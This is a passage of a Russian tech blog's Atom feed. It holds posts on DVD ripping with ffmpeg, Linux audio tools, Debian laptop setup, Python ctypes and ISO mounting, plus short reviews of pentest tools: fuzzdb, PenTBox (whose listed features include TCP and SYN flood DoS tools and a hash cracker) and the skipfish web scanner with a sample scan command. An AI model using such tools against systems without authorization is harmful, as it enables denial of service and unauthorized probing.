video.avi&lt;/b&gt;&lt;/blockquote&gt;Это типичная команда для рипа двд диска, которую можно после долгих поисков найти в мане к утилите. Фактически, два самых значительных параметра в этой команде - битрейты видео и аудио, в данном случае равные 1500k и 128k. &lt;br /&gt;В каждом конкретном случае битрейт видео, разумеется, надо подбирать отдельно (если нет никаких ограничений по объему): чем более динамично видео, тем больше должен быть битрейт, по идее, для сохранения комфортной картинки. Для этого можно варьировать цифру после параметра -b и делать некий сэмпл рипа, несколько десятков секунд, просто завершить ffmpeg в процессе его работы и посмотреть что получилось.&lt;br /&gt;Если исходников было несколько, то склеить их в один файл можно так:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;mencoder -oac copy -ovc copy part1.avi part2.avi -o video.avi&lt;/b&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-1879684801717426861?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/1879684801717426861/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/07/dvd-ffmpeg.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1879684801717426861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1879684801717426861'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/07/dvd-ffmpeg.html' title='Рипаем dvd с помощью ffmpeg'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-503175359923160886</id><published>2010-05-06T15:06:00.000-07:00</published><updated>2010-05-06T15:08:29.487-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='useful'/><title type='text'>Определение транскодов в Linux - 2</title><content type='html'>В &lt;a href="http://ivinside.blogspot.com/2009/11/linux.html"&gt;прошлой&lt;/a&gt; заметке я рассказывал, как определять транскоды с помощью программы Audacity. Но сейчас я внезапно обнаружил, что существует линуксовая версия широко известной в узких кругах утилиты &lt;a href="http://true-audio.com/"&gt;auCDtect&lt;/a&gt;, гуишной надстройкой под которую является &lt;a href="http://www.dester.hu/English/home_e.html"&gt;Audiochecker&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Поставляется она в виде бинарника, да и ещё сразу не хочет запускаться, выдавая ошибку:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;$ ./auCDtect&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;./auCDtect: error while loading shared libraries: libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory&lt;/blockquote&gt;Нужная ему допотопная библиотека находится в соответствующем &lt;a href="http://packages.debian.org/etch/i386/libstdc++2.10-glibc2.2/download"&gt;пакете&lt;/a&gt; (для Дебиана). Неприятно, что проверяет он только WAV файлы, поэтому лосося сперва нужно конвертировать туда, для FLAC, например, командой&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;$ flac -d &amp;lt;файлы&amp;gt;&lt;/b&gt;&lt;/blockquote&gt;Вот и сказке конец, ну вы поняли.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-503175359923160886?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/503175359923160886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/05/linux-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/503175359923160886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/503175359923160886'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/05/linux-2.html' title='Определение транскодов в Linux - 2'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-2780977945590153188</id><published>2010-04-29T05:02:00.000-07:00</published><updated>2010-04-29T05:03:28.128-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='fuzzing'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>fuzzdb</title><content type='html'>Интересная разработка, включающая в себя шаблоны атак (как кстати по-русски слово payload устоялось-таки?), имен файлов, логинов, паролей и сообщений об ошибках, возникающих при той или иной атаке. Весьма впечатляющий объем данных там уже есть и постоянно пополняется, как я вижу.&lt;br /&gt;&lt;br /&gt;Можно использовать с уже имеющимися фаззерами, при написании собственных или просто освежить в памяти при ручном тестировании. :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/fuzzdb/"&gt;fuzzdb&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-2780977945590153188?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/2780977945590153188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/04/fuzzdb.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2780977945590153188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2780977945590153188'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/04/fuzzdb.html' title='fuzzdb'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-9158835421060947435</id><published>2010-03-30T07:31:00.000-07:00</published><updated>2010-03-30T07:32:42.088-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='fuzzing'/><title type='text'>PenTBox - набор утилит для пентеста</title><content type='html'>Недавно вышла в свет финальная версия. Утилиты написаны на Ruby, так что собирать-компилять ничего не нужно. Интерес представляют фаззеры HTTP и FTP, ну а так в основном унылость. Разве что использовать в образовательных целях.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;PenTBox 1.3.2 &lt;br /&gt;&lt;br /&gt;      ____          _____ ____&lt;br /&gt;     |  _ \ ___ _ _|_   _| __ )  _____  __&lt;br /&gt;     | |_) / _ \ '_ \| | |  _ \ / _ \ \/ /&lt;br /&gt;     |  __/  __/ | | | | | |_) | (_) &amp;gt;  &amp;lt; &lt;br /&gt;     |_|   \___|_| |_|_| |____/ \___/_/\_\&lt;br /&gt;&lt;br /&gt;        Our little Box, your Security Suite.&lt;/pre&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- Cryptography tools&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;Base64 Encoder &amp;amp; Decoder&lt;br /&gt;Multi-Digest (MD5, SHA1, SHA256, SHA384, SHA512)&lt;br /&gt;Hash Password Cracker (MD5, SHA1, SHA256, SHA384, SHA512)&lt;br /&gt;Secure Password Generator&lt;br /&gt;Files en/decryptor Rijndael (AES) 256 bits – GOST – ARC4&lt;/blockquote&gt;&lt;b&gt;- Network tools&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;TCP Flood DoSer&lt;br /&gt;TCP Flood AutoDoSer&lt;br /&gt;Spoofed SYN Flood DoSer [nmap - hping3]&lt;br /&gt;Port scanner&lt;br /&gt;Honeypot&lt;br /&gt;PenTBox Secure Instant Messaging&lt;br /&gt;Fuzzer&lt;/blockquote&gt;&lt;b&gt;- Extra&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;L33t Sp3@k Converter&lt;/blockquote&gt;&amp;nbsp;&lt;a href="http://pentbox.net/"&gt;pentbox.net&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-9158835421060947435?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/9158835421060947435/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/03/pentbox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/9158835421060947435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/9158835421060947435'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/03/pentbox.html' title='PenTBox - набор утилит для пентеста'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-1421066649327261253</id><published>2010-03-23T07:05:00.000-07:00</published><updated>2010-03-23T07:09:49.215-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>skipfish - сканер безопасности web-приложений от Google</title><content type='html'>На днях компания Google представила свой open source инструмент для аудита безопасности web-приложений, наподобие широко известного nikto. Однако разработчик заявляет ряд преимуществ перед имеющимися решениями, среди них:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;высокая скорость работы (~500 запросов в секунду через Интернет, ~2000 - через локальную сеть)&lt;/li&gt;&lt;li&gt;простота использования&lt;/li&gt;&lt;li&gt;хорошо продуманные тест-кейсы (весь список проверяемых уязвимостей доступен в README к программе)&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;Иструмент доступен для скачивания в исходных кодах &lt;a href="http://code.google.com/p/skipfish/"&gt;отсюда&lt;/a&gt;. Для компиляции мне пришлось доустановить заголовочные файлы для ssl. Далее распаковываем и компилируем.&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;# apt-get install libssl-dev&lt;/b&gt;&lt;br /&gt;&lt;b&gt;$ tar -xzfp skipfish-1.13b.tgz&lt;/b&gt;&lt;br /&gt;&lt;b&gt;$ cd skipfish/&lt;/b&gt;&lt;b&gt;&lt;br /&gt;$ make &lt;/b&gt;&lt;/blockquote&gt;В случае успеха в папке появится исполняемый файл skipfish, собственно то, что нам нужно. В папке dictionaries находятся словари, которые могут использоваться при составлении карты сайта. Словари включают в себя расширения и ключевые слова. Чем больше словарь, тем более глубокий фаззинг сайта будет проведен. Словарь по умолчанию должен называться skipfish.wl и находиться в одной папке с исполняемым файлом: нужно перенести и переименовать нужный словарь из соотвествующей папки.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Итак, приступим же наконец к сканированию! Типичная команда сканирования выглядит следующим образом:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;$ ./skipfish -MEU -o ./example http://www.example.com/&lt;/b&gt;&lt;/blockquote&gt;Здесь "-MEU" - опции для создания отчета, чтобы всё было хорошо, "./example" - имя папки в которую будет писаться отчет, а "http://www.example.com/", как несложно догадаться, адрес сайта.&lt;br /&gt;&lt;br /&gt;Поддержка cookie, HTTP аутентификации и прочих плюшек имеется в полном объеме. Все настройки можно глянуть по команде:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;$ ./skipfish -h&lt;/b&gt;&lt;/blockquote&gt;Доставила динамическая консольная статистика и детализированный отчет, поражающий мозг обыденного пользователя nikto. По количеству найденных уязвимостей, на первый взгляд (на основе сканирования одного сайта), оставляет позади nikto последней версии. Респект и уважуха в общем.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-1421066649327261253?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/1421066649327261253/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/03/skipfish-web-google.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1421066649327261253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1421066649327261253'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/03/skipfish-web-google.html' title='skipfish - сканер безопасности web-приложений от Google'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7928865402521577963</id><published>2010-03-13T04:56:00.000-08:00</published><updated>2010-03-13T04:57:29.948-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Lenovo X200t &amp; Debian Squeeze: wi-fi и сенсорный экран</title><content type='html'>В связи с недавним переходом на Debian Squeeze запосчу несколько заметок по допиливанию функциональности моего ноутбука в этой среде.&lt;br /&gt;&lt;br /&gt;Практически всё оборудование подхватилось из коробки при условии выбора инсталляционного пункта "Laptop" при установке.&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;1. Wi-fi&lt;/span&gt;&lt;br /&gt;Имеем:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;$ lspci | grep -i wireless&lt;/b&gt;&lt;br /&gt;&lt;b&gt;03:00.0 Network controller: Intel Corporation PRO/Wireless 5100 AGN [Shiloh] Network Connection&lt;/b&gt;&lt;/blockquote&gt;Прошивка для этого компонента небесплатна, поэтому придется подключить non-free компоненты основного репозитория в /etc/apt/sourses.list. В итоге в списке должна присутствовать строчка вида:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;deb http://mirror.yandex.ru/debian/ squeeze main contrib non-free&lt;/i&gt;&lt;/blockquote&gt;Далее обновляем список пакетов&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;# apt-get update&lt;/b&gt;&lt;/blockquote&gt;И устанавливаем пакеты&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;# apt-get install firmware-iwlwifi wireless-tools&lt;/b&gt;&lt;/blockquote&gt;Подгружаем модуль ядра, если таковой не был подгружен автоматически&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;# modprobe iwlagn&lt;/b&gt;&lt;/blockquote&gt;Радуемся&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;# ifconfig wlan0 up&lt;/b&gt;&lt;/blockquote&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;2. Сенсорный экран&lt;/span&gt;&lt;br /&gt;Для настройки экрана понадобится остановить X сервер, сгенерировать xorg.conf и подгрузить модуль ядра wacom, который уже установлен в системе:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;# modprobe wacom&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# /etc/init.d/kdm stop&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# /etc/init.d/gdm stop&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# /etc/init.d/xdm stop&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# cd /etc/X11/&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# Xorg -configure&lt;/b&gt;&lt;/blockquote&gt;А потом отредактировать его, добавив следующие секции:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;Section "InputDevice"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Driver        "wacom"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Identifier    "cursor"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "Device"        "/dev/ttyS0"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "Type"          "cursor"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "ForceDevice"   "ISDV4"     &lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "Mode"          "Absolute"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;EndSection&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Section "InputDevice"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Driver        "wacom"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Identifier    "stylus"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "Device"        "/dev/ttyS0"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "Type"          "stylus"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "ForceDevice"   "ISDV4"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;EndSection&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Section "InputDevice"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Driver        "wacom"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Identifier    "eraser"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "Device"        "/dev/ttyS0"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "Type"          "eraser"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "ForceDevice"   "ISDV4"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;EndSection&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Section "InputDevice"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Driver        "wacom"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Identifier    "touch"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "Device"        "/dev/ttyS0"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "Type"          "touch"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; Option        "ForceDevice"   "ISDV4"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;EndSection&lt;/i&gt;&lt;/blockquote&gt;А также добавив в секцию ServerLayout следующие строки:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;InputDevice    "cursor" "SendCoreEvents"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;InputDevice    "stylus" "SendCoreEvents"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;InputDevice    "eraser" "SendCoreEvents"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;InputDevice    "touch"  "SendCoreEvents"&lt;/i&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7928865402521577963?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7928865402521577963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/03/lenovo-x200t-debian-squeeze-wi-fi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7928865402521577963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7928865402521577963'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/03/lenovo-x200t-debian-squeeze-wi-fi.html' title='Lenovo X200t &amp; Debian Squeeze: wi-fi и сенсорный экран'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-995309790108498471</id><published>2010-03-12T00:20:00.000-08:00</published><updated>2010-03-12T00:20:24.302-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Чтиво</title><content type='html'>Предлагаю ознакомиться со списком статей по питону, которые мне показались весьма интересными (навеяно просмотром питоньей rss ленты Хабра):&lt;br /&gt;&lt;br /&gt;Изучаем Python за 10 минут (&lt;a href="http://www.korokithakis.net/tutorials/python?page=1"&gt;eng&lt;/a&gt; &lt;a href="http://habrahabr.ru/blogs/python/31180/"&gt;рус&lt;/a&gt;)&lt;br /&gt;Написание Qt приложений на языке Python (&lt;a href="http://habrahabr.ru/blogs/python/31426/"&gt;рус&lt;/a&gt;)&lt;br /&gt;Python best practices (&lt;a href="http://www.fantascienza.net/leonardo/ar/python_best_practices.html"&gt;eng&lt;/a&gt;)&lt;br /&gt;Шпаргалка по Питону (&lt;a href="http://users.physik.fu-berlin.de/%7Emgoerz/blog/refcards/#python25"&gt;eng&lt;/a&gt;)&lt;br /&gt;Python: советы, уловки, хаки (&lt;a href="http://www.siafoo.net/article/52"&gt;eng&lt;/a&gt; &lt;a href="http://habrahabr.ru/blogs/python/85238/"&gt;рус&lt;/a&gt;)&lt;br /&gt;Скрипты Python против Bash (&lt;a href="http://habrahabr.ru/blogs/python/47474/"&gt;рус&lt;/a&gt;)&lt;br /&gt;Немного про py2exe (&lt;a href="http://habrahabr.ru/blogs/python/87224/#habracut"&gt;рус&lt;/a&gt;)&lt;br /&gt;Основы работы с потоками в языке Python (&lt;a href="http://habrahabr.ru/blogs/python/78267/"&gt;рус&lt;/a&gt;)&lt;br /&gt;Сила и красота декораторов, метапрограммирование (&lt;a href="http://habrahabr.ru/blogs/python/46306/"&gt;рус&lt;/a&gt;)&lt;br /&gt;Memoization в Python, оптимизация работы программ (&lt;a href="http://habrahabr.ru/blogs/python/50477/"&gt;рус&lt;/a&gt;)&lt;br /&gt;Специфика циклов в Питоне (&lt;a href="http://habrahabr.ru/blogs/python/50026/"&gt;рус&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-995309790108498471?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/995309790108498471/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2010/03/blog-post.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/995309790108498471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/995309790108498471'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2010/03/blog-post.html' title='Чтиво'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7316198914222186137</id><published>2009-12-27T16:12:00.000-08:00</published><updated>2009-12-27T17:03:59.611-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ctypes'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>ctypes - наш друг!</title><content type='html'>Модуль ctypes с легкостью позволяет использовать функции сторонних DLL или SO файлов. В ctypes есть три метода подгрузки библиотек:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;cdll()&lt;/span&gt; - использует соглашение cdecl при вызове функций&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;windll()&lt;/span&gt; - использует stdcall (для Microsoft Win32 API)&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;oledll()&lt;/span&gt; - использует cdecl + коды возврата HRESULT (для функций Microsoft COM)&lt;/li&gt;&lt;/ul&gt;Пример: попробуем воспользоваться широко известной функцией &lt;span style="font-style: italic;"&gt;printf()&lt;/span&gt; из языка С. В Linux она находится в библиотеке &lt;span style="font-style: italic;"&gt;/lib/libc.so.6&lt;/span&gt;, в Windows - &lt;span style="font-style: italic;"&gt;C:\windows\system32\msvcrt.dll&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Код для Linux:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;from ctypes import *&lt;br /&gt;libc = CDLL("libc.so.6")&lt;br /&gt;message = 'Hello world!\n'&lt;br /&gt;libc.printf('Testing: %s', message)&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;Код для Windows:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;from ctypes import *&lt;br /&gt;msvcrt = cdll.msvcrt&lt;br /&gt;message = 'Hello world!\n'&lt;br /&gt;msvcrt.printf('Testing: %s', message)&lt;br /&gt;&lt;/blockquote&gt;Исчерпывающий мануал по ctypes находится &lt;a href="http://docs.python.org/library/ctypes.html"&gt;здесь&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7316198914222186137?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7316198914222186137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/12/ctypes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7316198914222186137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7316198914222186137'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/12/ctypes.html' title='ctypes - наш друг!'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-6928194052312934306</id><published>2009-12-07T18:45:00.000-08:00</published><updated>2009-12-07T18:51:55.808-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='useful'/><title type='text'>Монтирование iso в Linux</title><content type='html'># mkdir /mnt/iso&lt;br /&gt;# mount -o loop -t iso9660 /home/iv/disk.iso 